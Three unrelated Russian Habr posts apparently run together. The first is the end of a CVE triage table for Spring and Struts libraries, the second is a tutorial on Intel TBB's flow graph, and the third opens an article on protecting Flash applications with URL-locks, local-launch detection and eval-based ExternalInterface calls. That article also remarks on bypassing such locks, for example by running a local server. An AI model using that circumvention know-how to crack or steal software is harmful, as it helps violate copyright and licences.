| spring-context:3.0.5 | CVE-2011-2894 | компонент не найден | - | Medium | TRUE | |
| spring-core:3.0.5 | - | CVE-2011-2730 | CVE-2011-2730 | High | TRUE | |
| | CVE-2011-2894 | CVE-2011-2894 | CVE-2011-2894 | Medium | TRUE | |
| | - | - | CVE-2013-4152 | Medium | FALSE | Дубликат этой же уязвимости в spring-web |
| | - | CVE-2013-4152 | - | Medium | FALSE | Уязвимость относится к компоненте spring-web |
| | - | CVE-2013-6429 | CVE-2013-6429 | Medium | FALSE | Уязвимость относится к компоненте spring-web |
| | - | CVE-2013-6430 | - | Medium | FALSE | Уязвимость относится к компоненте spring-web |
| | - | CVE-2013-7315 | CVE-2013-7315 | Medium | FALSE | SPLIT из CVE-2013-4152. + Уязвимость относится к компоненте spring-web |
| | - | CVE-2014-0054 | CVE-2014-0054 | Medium | FALSE | Уязвимость относится к компоненте spring-web |
| | - | CVE-2014-0225 | - | High | FALSE | Уязвимость относится к компоненте spring-web |
| | - | - | CVE-2014-0225 | High | FALSE | Дубликат этой же уязвимости в spring-web |
| | - | CVE-2014-1904 | CVE-2014-1904 | Medium | FALSE | Уязвимость относится к компоненте spring-web-mvc |
| | - | CVE-2014-3625 | CVE-2014-3625 | Medium | FALSE | Уязвимость относится к компоненте spring-web-mvc |
| | - | CVE-2016-9878 | CVE-2016-9878 | High | FALSE | Уязвимость относится к компоненте spring-web-mvc |
| | - | CVE-2018-1270 | CVE-2018-1270 | High | FALSE | Для spring-expression / spring-messages |
| | - | CVE-2018-1271 | CVE-2018-1271 | Medium | FALSE | Уязвимость относится к компоненте spring-web-mvc |
| | - | CVE-2018-1272 | CVE-2018-1272 | High | TRUE | |
| | CVE-2014-3578 | CVE-2014-3578 (OSSINDEX) | CVE-2014-3578 | Medium | TRUE | |
| | SONATYPE-2015-0327 | - | - | Low | TRUE | |
| struts2-config-browser-plugin:2.3.30 | SONATYPE-2016-0104 | - | - | Medium | TRUE | |
| spring-tx:3.0.5 | - | CVE-2011-2730 | - | High | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2011-2894 | - | High | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2013-4152 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2013-6429 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2013-6430 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2013-7315 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2014-0054 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2014-0225 | - | High | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2014-1904 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2014-3625 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2016-9878 | - | High | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2018-1270 | - | High | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2018-1271 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| | - | CVE-2018-1272 | - | Medium | FALSE | Уязвимость не относится к spring-tx |
| struts-core:1.3.8 | - | CVE-2011-5057 (OSSINDEX) | | Medium | FASLE | Уязвимость к Struts 2 |
| | - | CVE-2012-0391 (OSSINDEX) | CVE-2012-0391 | High | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2014-0094 (OSSINDEX) | CVE-2014-0094 | Medium | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2014-0113 (OSSINDEX) | CVE-2014-0113 | High | FALSE | Уязвимость к Struts 2 |
| | CVE-2016-1182 | 3VE-2016-1182 | - | High | TRUE | |
| | - | - | CVE-2011-5057 | Medium | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2012-0392 (OSSINDEX) | CVE-2012-0392 | High | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2012-0393 (OSSINDEX) | CVE-2012-0393 | Medium | FALSE | Уязвимость к Struts 2 |
| | CVE-2015-0899 | CVE-2015-0899 | - | High | TRUE | |
| | - | CVE-2012-0394 | CVE-2012-0394 | Medium | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2012-0838 (OSSINDEX) | CVE-2012-0838 | High | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2013-1965 (OSSINDEX) | CVE-2013-1965 | High | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2013-1966 (OSSINDEX) | CVE-2013-1966 | High | FASLE | Уязвимость к Struts 2 |
| | - | CVE-2013-2115 | CVE-2013-2115 | High | FASLE | Уязвимость к Struts 2 |
| | - | CVE-2013-2134 (OSSINDEX) | CVE-2013-2134 | High | FASLE | Уязвимость к Struts 2 |
| | - | CVE-2013-2135 (OSSINDEX) | CVE-2013-2135 | High | FASLE | Уязвимость к Struts 2 |
| | CVE-2014-0114 | CVE-2014-0114 | - | High | TRUE | |
| | - | CVE-2015-2992 | CVE-2015-2992 | Medium | FALSE | Уязвимость к Struts 2 |
| | - | CVE-2016-0785 (OSSINDEX) | CVE-2016-0785 | High | FALSE | Уязвимость к Struts 2 |
| | CVE-2016-1181 | CVE-2016-1181 | - | High | TRUE | |
| | - | CVE-2016-4003 (OSSINDEX) | CVE-2016-4003 | High | FALSE | Уязвимость к Struts 2 |
| xwork-core:2.3.30 | CVE-2017-9804 | - | - | High | TRUE | |
| | SONATYPE-2017-0173 | - | - | High | TRUE | |
| | CVE-2017-7672 | - | - | High | FALSE | Дубль к CVE-2017-9804 |
| | SONATYPE-2016-0127 | - | - | High | TRUE | |
| struts2-core:2.3.30 | - | CVE-2016-6795 | CVE-2016-6795 | High | TRUE | |
| | - | CVE-2017-9787 | CVE-2017-9787 | High | TRUE | |
| | - | CVE-2017-9791 | CVE-2017-9791 | High | TRUE | |
| | - | CVE-2017-9793 | - | High | FALSE | Дубликат к CVE-2018-1327 |
| | - | CVE-2017-9804 | - | High | TRUE | |
| | - | CVE-2017-9805 | CVE-2017-9805 | High | TRUE | |
| | CVE-2016-4003 | - | - | Medium | FALSE | Применимо к Apache Struts 2.x до 2.3.28, а это версия 2.3.30. Тем не менее, исходя из описания, CVE действует при любых версиях Struts 2, если используется JRE 1.7 и меньше. Видимо нас тут решили перестраховать, но больше похоже на FALSE |
| | - | CVE-2018-1327 | CVE-2018-1327 | High | TRUE | |
| | CVE-2017-5638 | CVE-2017-5638 | CVE-2017-5638 | High | TRUE | Та самая уязвимость, которой воспользовались злоумышленники в Equifax в 2017 году |
| | CVE-2017-12611 | CVE-2017-12611 | - | High | TRUE | |
| | CVE-2018-11776 | CVE-2018-11776 | CVE-2018-11776 | High | TRUE | |
| struts-taglib:1.3.8 | - | CVE-2012-0394 | - | Medium | FALSE | Для struts2-core |
| | - | CVE-2013-2115 | - | High | FALSE | Для struts2-core |
| | - | CVE-2014-0114 | - | High | FALSE | Для commons-beanutils |
| | - | CVE-2015-0899 | - | High | FALSE | Не относится к taglib |
| | - | CVE-2015-2992 | - | Medium | FALSE | Относится к struts2-core |
| | - | CVE-2016-1181 | - | High | FALSE | Не относится к taglib |
| | - | CVE-2016-1182 | - | High | FALSE | Не относится к taglib |
| struts-tiles-1.3.8 | - | CVE-2012-0394 | - | Medium | FALSE | Для struts2-core |
| | - | CVE-2013-2115 | - | High | FALSE | Для struts2-core |
| | - | CVE-2014-0114 | - | High | FALSE | Под commons-beanutils |
| | - | CVE-2015-0899 | - | High | FALSE | Не относится к tiles |
| | - | CVE-2015-2992 | - | Medium | FALSE | Для struts2-core |
| | - | CVE-2016-1181 | - | High | FALSE | Не относится к taglib |
| | - | CVE-2016-1182 | - | High | FALSE | Не относится к taglib | | https://habr.com/ru/post/516660/ | null | ru | null |
# Параллельное программирование с помощью вычислительного графа
Есть приложения, которые хорошо реализуются как системы передачи сообщений. Сообщениями в широком смысле может быть что угодно – блоки данных, управляющие «сигналы» и т.д. Логика же состоит из узлов, обрабатывающих сообщения, и связей между ними. Такая структура естественно представляется графом, по рёбрам которого «текут» сообщения, обрабатываемые в узлах. Наиболее устоявшееся название такой модели – вычислительный граф.
С помощью вычислительного графа можно установить зависимости между задачами и в какой-то мере программно реализовать «dataflow архитектуру».
В этом посте я опишу, как реализовать такую модель на С++, используя библиотеку [Intel Threading Building Blocks](http://threadingbuildingblocks.org) (Intel TBB), а именно класс tbb::flow::graph.

### Что такое Intel TBB и класс tbb::flow::graph
Intel Threading Building Blocks – библиотека шаблонов С++ для параллельного программирования. Распространяется она бесплатно в реализации с открытым исходным кодом, но есть и коммерческая версия. В бинарном виде выпускается для Windows\*, Linux\* и OS X\*.
В TBB есть множество готовых алгоритмов, конструкций и структур данных, «заточенных» для использования в параллельных вычислениях. В том числе, есть и конструкции, позволяющие реализовать вычислительный граф, о котором и пойдёт речь.
Граф, как известно, состоит из вершин (узлов) и рёбер. Вычислительный граф tbb::flow::graph также состоит из узлов (node), рёбер (edge) и объекта всего графа.

Узлы графа имеют интерфейсы отправителя и получателя, управляют сообщениями или выполняют какие-то функции. Рёбра соединяют узлы графа и являются «каналами» передачи сообщений.
Тело каждого узла представлено задачей TBB и может исполняться параллельно с другими, если между ними нет зависимостей. В TBB многие параллельные алгоритмы (или все) строятся на задачах – небольших элементах работы (инструкций), которые исполняются рабочими потоками. Между задачами могут быть зависимости, они могут динамически перераспределяться между потоками. Благодаря использованию задач можно достигнуть оптимальной гранулярности и баланса нагрузки на CPU, а также строить более высокоуровневые параллельные конструкции на их основе – такие как tbb::flow::graph.
### Самый простой граф зависимостей
Граф, состоящий из двух вершин, соединённых одним ребром, одна из которых печатает “Hello”, а вторая “World”, схематично можно изобразить так:

А в коде это будет выглядеть так:
```
#include
#include
int main(int argc, char \*argv[]) {
tbb::flow::graph g;
tbb::flow::continue\_node< tbb::flow::continue\_msg >
h( g, []( const tbb::flow::continue\_msg & ) { std::cout << "Hello "; } );
tbb::flow::continue\_node< tbb::flow::continue\_msg >
w( g, []( const tbb::flow::continue\_msg & ) { std::cout << "World\n"; } );
tbb::flow::make\_edge( h, w );
h.try\_put(tbb::flow::continue\_msg());
g.wait\_for\_all();
return 0;
}
```
Здесь создаётся объект графа g и два узла типа continue\_node – h и w. Эти узлы принимают и передают сообщение типа continue\_msg – внутренне управляющее сообщение. Они используются для построения графов зависимостей, когда тело узла исполняется лишь после того, как получено сообщение от предшественника.
Каждый из continue\_node исполняет некоторый условно полезный код – печать “Hello” и “World”. Узлы объединяются ребром с помощью метода make\_edge. Всё, структура вычислительного графа готова – можно запускать его на исполнение, подавая ему на вход сообщение методом try\_put. Далее граф отрабатывает, и, чтобы убедиться, что все его задачи выполнены, ждём с помощью метода wait\_for\_all.
### Простой граф передачи сообщений
Представьте, что наша программа должна посчитать выражение x2+x3 для x от 1 до 10. Да, это не самая сложная вычислительная задача, но вполне сгодиться для демонстрации.
Попробуем представить подсчёт выражения в виде графа. Первый узел будет принимать значения x из входящего потока данных и отсылать его узлам, возводящим в куб и в квадрат. Операции возведения в степень не зависят друг от друга и могут исполняться параллельно. Для сглаживания возможных дисбалансов они передают свой результат в буферные узлы. Далее идёт объединяющий узел, поставляющий результаты возведения в степень суммирующему узлу, на чём вычисление и заканчивается:

Код такого графа:
```
#include
#include
using namespace tbb::flow;
struct square {
int operator()(int v) {
printf("squaring %d\n", v);
Sleep(1000);
return v\*v;
}
};
struct cube {
int operator()(int v) {
printf("cubing %d\n", v);
Sleep(1000);
return v\*v\*v;
}
};
class sum {
int &my\_sum;
public:
sum( int &s ) : my\_sum(s) {}
int operator()( std::tuple v ) {
printf("adding %d and %d to %d\n", std::get<0>(v), std::get<1>(v), my\_sum);
my\_sum += std::get<0>(v) + std::get<1>(v);
return my\_sum;
}
};
int main(int argc, char \*argv[]) {
int result = 0;
graph g;
broadcast\_node input (g);
function\_node squarer( g, unlimited, square() );
function\_node cuber( g, unlimited, cube() );
buffer\_node square\_buffer(g);
buffer\_node cube\_buffer(g);
join\_node< std::tuple, queueing > join(g);
function\_node,int>
summer( g, serial, sum(result) );
make\_edge( input, squarer );
make\_edge( input, cuber );
make\_edge( squarer, square\_buffer );
make\_edge( squarer, input\_port<0>(join) );
make\_edge( cuber, cube\_buffer );
make\_edge( cuber, input\_port<1>(join) );
make\_edge( join, summer );
for (int i = 1; i <= 10; ++i)
input.try\_put(i);
g.wait\_for\_all();
printf("Final result is %d\n", result);
return 0;
}
```
Функция Sleep(1000) добавлена для визуализации процесса (пример компилировался на Windows, используйте эквивалентные вызовы на других платформах). Далее всё как в первом примере – создаём узлы, объединяем их рёбрами и запускаем на исполнение. Второй параметр в function\_node (unlimited или serial) определяет, сколько экземпляров тела узла может исполняться параллельно. Узел типа join\_node определяет готовность входных данных/сообщений на каждой входе, и когда оба готовы – передаёт их следующему узлу в виде std::tuple.
### Решение проблемы «обедающих философов» с помощью tbb::flow::graph
[Из википедии](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%B0_%D0%BE%D0%B1%D0%B5%D0%B4%D0%B0%D1%8E%D1%89%D0%B8%D1%85_%D1%84%D0%B8%D0%BB%D0%BE%D1%81%D0%BE%D1%84%D0%BE%D0%B2):
*«Проблема обедающих философов» — классический пример, используемый в информатике для иллюстрации проблем синхронизации в дизайне параллельных алгоритмов и техник решения этих проблем.*
В задаче несколько философов сидят за столом, и могут либо есть, либо думать, но не одновременно. В нашем варианте философы едят лапшу палочками – чтобы есть нужно две палочки, но в наличии на каждого по одной:

В такой ситуации может случиться deadlock (взаимная блокировка), если, например, каждый философ захватит левую от себя палочку, поэтому требуется синхронизация действий между обедающими.
Попробуем представить стол с философами в виде tbb::flow::graph. Каждый философ будет представлен двумя узлами: join\_node для захвата палочек и function\_node для осуществления задач «есть» и «думать». Место для палочки на столе реализуем через queue\_node. В очереди queue\_node может быть не больше одной палочки, и если она там есть – она доступна для захвата. Граф будет выглядеть так:

Функция main с некоторыми константами и заголовочными файлами:
```
#include
#include
#include
using namespace tbb::flow;
const char \*names[] =
{ "Archimedes", "Aristotle", "Democritus", "Epicurus", "Euclid",
"Heraclitus", "Plato", "Pythagoras", "Socrates", "Thales" };
….
int main(int argc, char \*argv[]) {
int num\_threads = 0;
int num\_philosophers = 10;
if ( argc > 1 ) num\_threads = atoi(argv[1]);
if ( argc > 2 ) num\_philosophers = atoi(argv[2]);
if ( num\_threads < 1 || num\_philosophers < 1 || num\_philosophers > 10 ) exit(1);
tbb::task\_scheduler\_init init(num\_threads);
graph g;
printf("\n%d philosophers with %d threads\n\n",
num\_philosophers, num\_threads);
std::vector< queue\_node \* > places;
for ( int i = 0; i < num\_philosophers; ++i ) {
queue\_node \*qn\_ptr = new queue\_node(g);
qn\_ptr->try\_put(chopstick());
places.push\_back( qn\_ptr );
}
std::vector< philosopher > philosophers;
for ( int i = 0; i < num\_philosophers; ++i ) {
philosophers.push\_back( philosopher( names[i], g,
places[i],
places[(i+1)%num\_philosophers] ) );
g.run( philosophers[i] );
}
g.wait\_for\_all();
for ( int i = 0; i < num\_philosophers; ++i ) philosophers[i].check();
return 0;
}
```
После обработки параметров командной строки библиотека инициализируется созданием объекта типа tbb::task\_scheduler\_init. Это позволяет управлять моментом инициализации и вручную задавать количество потоков-обработчиков. Без этого инициализация пройдёт автоматически. Далее создаётся объект графа g. «Места для палочек» queue\_node помещаются в std::vector, и в каждую очередь помещается по палочке.
Дальше похожим способом создаются и философы – помещаются в std::vector. Объект каждого философа передаётся функции run объекта графа. Класс philosopher будет содержать operator(), и функция run позволяет исполнить этот функтор в задаче, дочерней к корневой задаче объекта графа g. Так мы сможем дождаться исполнения этих задач во время вызова g.wait\_for\_all().
Класс philosopher:
```
const int think_time = 1000;
const int eat_time = 1000;
const int num_times = 10;
class chopstick {};
class philosopher {
public:
typedef queue_node< chopstick > chopstick_buffer;
typedef join_node< std::tuple > join\_type;
philosopher( const char \*name, graph &the\_graph,
chopstick\_buffer \*left, chopstick\_buffer \*right ) :
my\_name(name), my\_graph(&the\_graph),
my\_left\_chopstick(left), my\_right\_chopstick(right),
my\_join(new join\_type(the\_graph)), my\_function\_node(NULL),
my\_count(new int(num\_times)) {}
void operator()();
void check();
private:
const char \*my\_name;
graph \*my\_graph;
chopstick\_buffer \*my\_left\_chopstick;
chopstick\_buffer \*my\_right\_chopstick;
join\_type \*my\_join;
function\_node< join\_type::output\_type, continue\_msg > \*my\_function\_node;
int \*my\_count;
friend class node\_body;
void eat\_and\_think( );
void eat( );
void think( );
void make\_my\_node();
};
```
У каждого философа есть имя, указатели на объект графа и на левую и правую палочки, узел join\_node, функциональный узел function\_node и счётчик my\_count, отсчитывающий, сколько раз философ думал и ел.
operator()(), вызываемый функцией run графа, реализован так, чтобы философ сначала думал, а потом присоединял себя к графу.
```
void philosopher::operator()() {
think();
make_my_node();
}
Методы think и eat просто спят положенное время:
void philosopher::think() {
printf("%s thinking\n", my_name );
Sleep(think_time);
printf("%s done thinking\n", my_name );
}
void philosopher::eat() {
printf("%s eating\n", my_name );
Sleep(eat_time);
printf("%s done eating\n", my_name );
}
```
Метод make\_my\_node создаёт функциональный узел, и связывает и его, и join\_node с остальным графом:
```
void philosopher::make_my_node() {
my_left_chopstick->register_successor( input_port<0>(*my_join) );
my_right_chopstick->register_successor( input_port<1>(*my_join) );
my_function_node =
new function_node< join_type::output_type, continue_msg >( *my_graph,
serial, node_body( *this ) );
make_edge( *my_join, *my_function_node );
}
```
Обратите внимание, что граф создаётся динамически – ребро формируется методом register\_successor. Не обязательно сначала полностью создавать структуру графа, а потом запускать его на исполнение. В TBB есть возможность менять эту структуру на лету, даже когда граф уже запущен – удалять и добавлять новые узлы. Это добавляет ещё больше гибкости концепции вычислительного графа.
Класс node\_body — простой функтор, вызывающий метод philosopher::eat\_and\_think():
```
class node_body {
philosopher &my_philosopher;
public:
node_body( philosopher &p ) : my_philosopher(p) { }
void operator()( philosopher::join_type::output_type ) {
my_philosopher.eat_and_think();
}
};
```
Метод eat\_and\_think вызывает функцию eat() и декрементирует счётчик. Дальше философ кладёт свои палочки на стол и думает. А если он поел и подумал положенное число раз, он встаёт из-за стола – разрывает связи своего join\_node с графом методом remove\_successor. Здесь опять видна динамическая структура графа – часть узлов удаляется, пока остальные продолжают работать.
```
void philosopher::eat_and_think( ) {
eat();
--(*my_count);
if (*my_count > 0) {
my_left_chopstick->try_put( chopstick() );
my_right_chopstick->try_put( chopstick() );
think();
} else {
my_left_chopstick->remove_successor( input_port<0>(*my_join) );
my_right_chopstick->remove_successor( input_port<1>(*my_join) );
my_left_chopstick->try_put( chopstick() );
my_right_chopstick->try_put( chopstick() );
}
}
```
В нашем графе есть ребро от queue\_node (места для палочки) к философу, точнее его join\_node. А в обратную сторону нет. Тем не менее, метод eat\_and\_think может вызывать try\_put для того, чтобы положить палочку обратно в очередь.
В конце функции main() для каждого философа вызывается метод check, который удостоверяется, что философ поел и подумал правильное количество раз и делает необходимую «очистку»:
```
void philosopher::check() {
if ( *my_count != 0 ) {
printf("ERROR: philosopher %s still had to run %d more times\n", my_name, *my_count);
exit(1);
} else {
printf("%s done.\n", my_name);
}
delete my_function_node;
delete my_join;
delete my_count;
}
```
Deadlock в этом примере не случается благодаря использованию join\_node. Этот тип узлов создаёт std::tuple из полученных с обоих входов объектов. При этом входные данные не потребляются сразу при поступлении. join\_node сначала дожидается, когда данные появятся на обоих входах, потом пытается их зарезервировать по очереди. Если эта операция успешна – только тогда они «потребляются» и из них создаётся std::tuple. Если резервирование хотя бы одного входного «канала» не получилось – те, что уже зарезервированы, отпускаются. Т.е. если философ может захватить одну палочку, но вторая занята – он отпустить первую и подождёт, не блокируя соседей понапрасну.
Этот пример с обедающими философами демонстрирует несколько возможностей TBB графа:
* Использование join\_node для обеспечения синхронизации доступа к ресурсам
* Динамическое построение графа – узлы могут добавляться и удаляться во время работы
* Отсутствие единых точек входа и выхода, граф может иметь петли
* Использование функции run графа
### Типы узлов
tbb::flow::graph предоставляет довольно широкий набор вариантов узлов. Их можно разделить на четыре группы: функциональные (functional), буферизующие, объединяющие и разделяющие, и прочие. Список типов узлов с условными обозначениями:

### Заключение
С помощью графа, реализованного в Intel TBB, можно создать сложную и интересную логику параллельной программы, иногда называемую «неструктурированным параллелизмом». Вычислительный граф позволяет организовать зависимости между задачами, строить приложения, основанные на передаче сообщений и событий.
Структура графа может быть как статической, так и динамической – узлы и рёбра могут добавляться и удаляться «на лету». Можно соединять отдельные подграфы в большой граф.
Большая часть материала базируется на англоязычных публикациях моих заокеанских коллег.
Для тех, кто заинтересовался, пробуйте:
Скачать библиотеку Intel Threading Building Blocks (Версия с открытым исходным кодом):
<http://threadingbuildingblocks.org>
Коммерческая версия Intel TBB (функционально не отличается):
<http://software.intel.com/en-us/intel-tbb>
Англоязычные блоги о tbb::flow::graph:
<http://software.intel.com/en-us/tags/17218>
<http://software.intel.com/en-us/tags/17455> | https://habr.com/ru/post/157735/ | null | ru | null |
# Способы «защиты» flash-приложений

Здравствуйте. Я попытаюсь рассказать о нескольких способах защиты от исследования кода, мошенничества и воровства, используемых при разработке flash-приложений, а также о том, как можно обойти некоторые из них.
Стоит заметить, что сейчас существует немало отличных презентаций и работ на эту тему (см. ссылки в конце статьи), однако, я бы хотел немного подробней расписать некоторые нюансы, и объединить множество информации по теме в одном месте. По крайней мере, я постараюсь это сделать.
###### *Всё описываемое в данной статье ни в коем случае не должно использоваться в целях получения личной выгоды, нарушения авторских прав, лицензионных соглашений и каких-либо законов любых стран. Здесь нет рекламы, всё написано исключительно исходя из собственных предпочтений и опыта. Примеры кода к статье – это всего лишь примеры, набросанные на скорую руку, помните об этом.*
### **— введение**
В мире flash (речь, конечно, о клиенте) не существует гарантированной защиты от злоумышленников, можно лишь отсеять совсем незадачливых и усложнить работу тем, кто решит идти до конца. Стремиться стоит к тому, чтобы стоимость и время работы недоброжелателя были как можно выше, а Ваши затраты — как можно меньше. В идеале старайтесь добиться того, чтобы злоумышленнику было проще, быстрее и дешевле купить или написать с нуля, чем обходить Ваши препятствия.
Борьба между системами защиты и системами обхода\снятия защит ведётся постоянно. Это связано с тем, что любому желающему доступна [спецификация](http://www.adobe.com/devnet/swf.html) формата SWF и байткода ([тут](http://www.adobe.com/devnet-archive/actionscript/articles/avm2overview.pdf), [здесь](http://learn.adobe.com/wiki/display/AVM2/5.+AVM2+instructions) и ещё [тут](http://hg.mozilla.org/tamarin-redux/raw-file/tip/doc/bytecode/html/index.html)), в который компилируется ActionScript3 (далее AS3) код. Это позволяет свободно писать собственные библиотеки и приложения для разбора SWF файлов на составляющие (графику, звуки, байткод и т.д.), и делать что угодно с байткодом, например:
* писать анализаторы байткода для декомпиляции ABC (ActionScript ByteСode) файлов, которые можно найти в тэгах "DoABC" в скомпилированном AS3 SWF файле (а в AS2 код обычно находится в тэгах "DoAction" и "DoInitAction");
* писать приложения, модифицирующие байткод, например, для его обфускации с помощью различных приёмов, которые могут использовать специфику декомпиляции в своих целях;
* писать приложения, позволяющие изменять (патчить) байткод в уже скомпилированных SWF файлах;
* модифицировать FP для вывода (трейса) исполняющегося байткода;
В области защиты бывают разные цели и средства. Выбирайте только то, что подходит для Вашего проекта, не занимайтесь лишней работой.
### **— содержание**
Мы рассмотрим несколько способов (они разные не только по своей реализации, но и по целевому назначению) с примерами обхода некоторых из них, а также ряд инструментов, которыми можно пользоваться при исследовании (своего) кода:
1. URL-Lock (привязка к одному или нескольким доменам), защита от локального запуска
2. Переменные, ресурсы и классы
3. Водяные знаки (watermarks)
4. "Упаковывание" SWF
5. Динамическая генерация кода и редактирование SWF
6. Запутывание кода (obfuscation) и скрытие данных
7. Защита от сохранения SWF файла из памяти
8. Инструментарий исследователя flash
### **— 1. URL-Lock, защита от локального запуска**
Цель – заставить SWF файл работать в определенных условиях, например, только под одним или несколькими доменами, либо запретить локальный запуск.
После определения того факта, что SWF запущен не там, где должен бы, можно запрограммировать его поведение как угодно. Вы можете отправлять на сервер неугодные домены\URL (если это не localhost) и заносить в какой-нибудь лог.
Подлинные домены (под которыми должен работать SWF файл) лучше держать в зашифрованном виде или не держать в клиенте вообще (принимать от сервера также в зашифрованном виде).
Рассмотрим несколько способов привязки к доменам и определения локального запуска.
#### **Привязка к доменам с помощью получения текущего URL\домена**
Это самый распространённый способ привязки к домену. Для получения текущего URL или домена обычно используют:
а) **loaderInfo**:
* `root.loaderInfo.url` (`\_root.\_url` – для AS2) – содержит путь до самого SWF файла, если SWF загружен с помощью другого SWF, то `root.loaderInfo.url` у загруженного SWF останется прежним
* `root.loaderInfo.loaderURL` – содержит путь до самого SWF файла, либо до его загрузчика, если он был загружен с помощью другого SWF файла
* `root.loaderInfo.loader` — содержит ссылку на экземпляр класса Loader, либо null, если SWF не был загружен внешним загрузчиком (заметьте, что `root.loaderInfo.loader == root.parent`, а `root.parent == stage`, если SWF не имеет загрузчика). Причём, если загрузчик не находится в доверенной зоне (находится в другом SecurityDomain), то при обращении к `root.loaderInfo.loader` или к `root.parent` из загружаемого SWF, будет возникать исключение SecurityError, в сообщении которого также будет содержаться ссылка до загрузчика
*Пути не изменятся, если SWF встроить в HTML страницу на "неродном" домене без перемещения самого SWF файла.*
б) **LocalConnection**: позволяет получить имя домена, под которым в данный момент запущен SWF файл с помощью `LocalConnection.domain`.
Если чужой SWF находится в домене, отличном от домена Вашего SWF, и Вы загрузили тот SWF в текущий домен безопасности так:
```
var context:LoaderContext = new LoaderContext(true);
context.securityDomain = SecurityDomain.currentDomain;
loader.load(new URLRequest(url), context);
```
или с помощью `Loader.loadBytes`, то `LocalConnection.domain` загруженного SWF будет содержать домен Вашего SWF.
*Пути не изменятся, если SWF встроить в HTML страницу на "неродном" домене без перемещения самого SWF файла.*
в) **ExternalInterface**: позволяет использовать JavaScript (далее JS). Например, путь до текущей страницы, в которую встроен SWF, можно получить с помощью `window.location.href`. Для вызова JS используйте `ExternalInterface.call`. Т.к. call в качестве первого параметра принимает название метода, а `window.location.href` – свойство, то следует использовать toString():
```
var myHTMLUrl:String = ExternalInterface.call("window.location.href.toString");
```
Кстати, домен тоже можно получить через `ExternalInterface.call`:
```
var domain:String = ExternalInterface.call ("eval", "document.domain");
```
ExternalInterface можно использовать и для вызова своих JS функций на той странице, где находится SWF – как изначально существующих, так и созданных Вами с помощью eval:
```
var customJavaScriptCode:String = "function customJS(){alert('Yes, this is a custom JS');}";
ExternalInterface.call("eval", customJavaScriptCode);
ExternalInterface.call("customJS");
```
И не стоит забывать, что этот способ требует выполнения JS, что не всегда возможно.
*При попытке обойти с помощью встраивания в HTML страницу на "неродном" домене без перемещения самого SWF файла, выполнение `ExternalInterface.call` будет генерировать SecurityError.*
г) **FlashVars**: иногда, при размещении SWF в HTML страничке или при загрузке из другого SWF, передают путь до домена и\или иные данные через FlashVars (что на самом деле – плохо, т.к. это явная "дыра" для отвязки от доменов):
###### FlashVars можно передать в качестве параметра:
```
```
###### или через имя файла:
```
```
Дотянуться до FlashVars можно так:
— в AS3 – `root.loaderInfo.parameters.var1`
— в AS2 – `\_root.var1`
#### **Привязка к доменам без получения текущего URL или домена**
Этот способ основан на кроссдоменной политике безопасности. Привязываемый SWF при запуске пытается загрузить по прямому пути "специальный" файл-пустышку с определённого хоста, на котором находится файл crossdomain.xml с разрешением загрузки ресурсов только с доверенных доменов, на одном из которых и должен находиться SWF. Соответственно, если "ворованный" SWF файл будет обращаться к "специальному" файлу с домена, не прописанного в crossdomain.xml, произойдет нарушение изолированной среды (sandbox security violation) и "специальный" файл не загрузится. Также при этом сгенерируется исключение и сработает событие `SecurityErrorEvent.SECURITY\_ERROR` у экземпляра класса LoaderInfo (`Loader.contentLoaderInfo`). Это позволит определить то, что SWF находится не там, где должен бы.
К "специальному" файлу следует обращаться по прямому пути, чтобы предотвратить его подмену.
#### **Определение локального запуска**
Локальный запуск SWF можно определить с помощью получения ссылки на SWF или HTML и проверки её на наличие подстроки "file://".
Если SWF запущен вне HTML, то метод `ExternalInterface.call` вернёт null.
Также можно проверить тип FP, в котором работает SWF, с помощью `Capabilities.playerType`:
* "ActiveX" – при проигрывании через ActiveX FP, который, например, используется в IE
* "Desktop" – для среды выполнения Adobe AIR (кроме SWF-содержимого, загруженного HTML страницей, со свойством `Capabilities.playerType` имеющим значение "PlugIn")
* "External" – при проигрывании через внешний FP или при запуске из-под Flash Professional IDE
* "PlugIn" – при проигрывании через браузерный плагин (и для SWF-содержимого, загруженного HTML страницей в AIR приложении)
* **"StandAlone"** – при проигрывании через автономный FP (при запуске локального SWF файла в браузерах, значение `Capabilities.playerType != "StandAlone"`)
Ещё один способ – с помощью сравнения `Security.sandboxType` с `Security.REMOTE`.
Все эти приёмы имеют свои преимущества и недостатки — некоторые не требуют сервера, но требуют перекомпиляции SWF файла при изменении доменов, к которым должна осуществляться привязка, а некоторые — наоборот.
В кодах к статье (ссылка на архив есть в конце статьи), в папке "1-URL Lock", вы найдёте пример с реализацией некоторых из описанных методов и пару примеров патчей одного из методов.
*Внимание! Большинство приёмов URL-Lock можно обойти, работая из-под локального сервера, такого, как Denwer или XAMPP.*
### **— 2. Переменные, ресурсы и классы**
Обычно о переменных и ресурсах заботятся при написании игр. Конечно, лучше держать важную логику, данные и переменные вне клиента, но, увы, такая возможность есть не всегда, поэтому, иногда следует думать о том, как сократить количество лазеек для жульничества.
Подменой ресурсов и классов пользуются не так часто, как редактированием переменных, но всё-таки пользуются, поэтому, я попробую рассказать, как это делают и как этому можно помешать (защититься от этого невозможно).
#### **Защита переменных**
Переменные надо прятать и защищать от изменений. Наиболее простой способ скрытия – написание своих "обёрток" вокруг базовых классов.
